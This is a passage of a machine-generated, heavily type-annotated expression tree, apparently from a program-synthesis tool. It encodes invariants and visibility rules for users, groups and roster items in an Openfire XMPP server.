('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'backendId').with_type(TLong()))).with_type(TBag(TLong()))).with_type(TBool()), 'and', EUnaryOp('unique', EMap(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'name').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('empty', EFilter(EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), ELambda(EVar('child').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), EUnaryOp('not', EBinOp(EGetField(EGetField(ETupleGet(EVar('child').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EBinOp(EUnaryOp('empty', EFilter(EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))))), ELambda(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 1).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('empty', EFilter(EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('empty', EFilter(EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'in', EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(ETupleGet(EVar('e').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EVar('admins').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EBinOp(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'in', EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TBool()), 'and', EUnaryOp('any', EMap(EFilter(EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), ELambda(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EBinOp(EBinOp(EUnaryOp('not', EBinOp(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), '==', EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('exists', EFilter(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EBinOp(EBinOp(ECall('jidToUsername', (EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'target').with_type(TNative('org.xmpp.packet.JID')),)).with_type(TString()), '==', EGetField(EGetField(EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString())).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()), '==', EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), 'val').with_type(TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))), 'user').with_type(TString())).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))))).with_type(TBool()), 'or', EUnaryOp('exists', EMap(EFilter(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EBinOp(EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('other').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 'in', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool()), 'and', EBinOp(EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('EVERYBODY').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'or', EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'and', EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 'in', EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EBinOp(EGetField(EGetField(EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), 'val').with_type(TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), 'rosterMode').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))), '==', EEnumEntry('ONLY_GROUP').with_type(TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))).with_type(TBool()), 'and', EUnaryOp('exists', EFilter(EVar('groups').with_type(TBag(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))), ELambda(EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EBinOp(EBinOp(ETuple((EVar('g').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))).with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))), 'in', EVar('childGroups').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))))))).with_type(TBool()), 'and', EUnaryOp('exists', EFilter(EVar('groupMembers').with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))))), ELambda(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), EBinOp(EBinOp(ETupleGet(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 0).with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY'))))))), '==', EVar('subg').with_type(THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))))).with_type(TBool()), 'and', EBinOp(ETupleGet(EVar('t').with_type(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))))), 1).with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), '==', EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TTuple((THandle('Group', TRecord((('name', TString()), ('displayName', TString()), ('description', TString()), ('rosterMode', TEnum(('NOBODY', 'ONLY_GROUP', 'EVERYBODY')))))), THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', 